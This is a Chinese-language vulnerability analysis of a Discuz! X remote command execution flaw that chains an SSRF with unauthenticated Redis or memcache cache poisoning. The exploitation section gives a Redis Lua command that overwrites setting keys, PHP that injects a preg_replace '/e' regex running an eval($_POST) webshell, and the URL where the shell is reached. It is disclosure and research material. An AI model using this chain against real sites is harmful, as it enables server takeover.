discuzx某远程命令执行漏洞分析

0x00 简介

Discuz! X是康盛公司(Comsenz)推出的一个以社区为基础的专业建站平台,让论坛(BBS)、社交网络(SNS)、门户(Portal)、群组(Group)、开放平台(Open Platform)应用充分融合于一体,帮助网站实现一站式服务。

0x01 前言

漏洞详细已经通过乌云提交给官方。(http://www.wooyun.org/bugs/wooyun-2016-0214429、http://www.wooyun.org/bugs/wooyun-2016-0213982)

0x02 漏洞简述

discuz!X 支持多种缓存方式,如:文件缓存(基本不用)、数据缓存(默认方式)、第三方缓存(memcache、redis)。通常较高访问量的系统会采用第三方缓存的方式,即使用memcache、redis等方式。而memcache、redis等通用情况下会安装到本地,即127.0.0.1,并且大多数情况下没有身份验证。结合discuz!X 自身存在的ssrf,即可能存在命令执行(本漏洞针对的是discuz!X本身,而非ssrf)。

0x03 漏洞详细

当discuz设置使用缓存后,初始化时会把缓存内容加进全局变量 $_G

source\class\discuz\discuz_application.php

private function _init_setting() {
		if($this->init_setting) {
			if(empty($this->var['setting'])) {
				$this->cachelist[] = 'setting';
			}

			if(empty($this->var['style'])) {
				$this->cachelist[] = 'style_default';
			}
			if(!isset($this->var['cache']['cronnextrun'])) {
				$this->cachelist[] = 'cronnextrun';
			}
		}
		!empty($this->cachelist) && loadcache($this->cachelist);
		if(!is_array($this->var['setting'])) {
			$this->var['setting'] = array();
		}
	}

而在调用缓存的地方

source\function\function_core.php

function output_replace($content) {
	global $_G;
	if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;
	if(!empty($_G['setting']['output']['str']['search'])) {
		if(empty($_G['setting']['domain']['app']['default'])) {
			$_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);
		}
		$content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);
	}
	if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {
		if(empty($_G['setting']['domain']['app']['default'])) {
			$_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);
			$_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);
		}
		$content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);
	}
	return $content;
}

可以看出

$_G[‘setting’][‘output’][‘preg’][‘search’], $_G[‘setting’][‘output’][‘preg’][‘replace’]

这两个缓存可控,因此通过更改缓存内容就可以造成getshell。

而更改缓存内容,需要利用dz的ssrf,而dz并没有注重ssrf,如前一个�0�2WooYun: Discuz!另一处SSRF无须登陆无须条件�0�2,好像也没有修复,并且还存在其它ssrf等。

现在主要是缓存前辍的问题,下面来看看如何绕过。

0x04 漏洞利用

memcache 的利用可以参考�0�2WooYun: bilibili某分站从信息泄露到ssrf再到命令执行�0�2,不过前提条件是知道prefix,所以我们来说说redis。

redis 从2.6开始就支持lua命令,并且key可以模糊查找,因此,我们可以通过下面方式来重设缓存值。

eval "local t=redis.call('keys','*_setting');for i,v in ipairs(t) do redis.call('set',v,'aaaa') end;return 1;" 0

设置方式不需要知道key前辍就能更改。

因为我们只需要通过ssrf更改$_G[‘setting’][‘output’][‘preg’][‘search’] 和 $_G[‘setting’][‘output’][‘preg’][‘replace’]的值,就能达到命令执行的目的。

默认情况下,discuz 的ssrf会调用curl请求,因此会支持gopher或dict协议,而这两条协议对于redis的值设置已经足够了。

通过设置(测试代码,实际中是能过ssrf对内容进行更改)

$a['output']['preg']['search']['plugins'] = "/.*/e";
$a['output']['preg']['replace']['plugins'] = 'ev/*aliyun真牛B*/al($_POST[x]);';
$setting = serialize($a);
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
$redis->set("xx_setting",$setting);

访问 http://127.0.0.1/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

即是shell的地址。

整个过程中不需要注册用户,
需要条件如下:
1、本机安装了redis(>2.6),discuz设置了本机的redis缓存
2、系统支持php-curl(默认情况下都是支持的)
达到这两个条件就可以了。

0x05 漏洞案例

bilibili某分站从信息泄露到ssrf再到命令执行

金蝶某系统存在远程命令执行

优酷某程序存在远程命令执行

电视猫某应用远程命令执行

 

0x06 漏洞相关阅读

vBulletin rce 0day分析(http://drops.wooyun.org/papers/8261)

发表评论

电子邮件地址不会被公开。 必填项已用*标注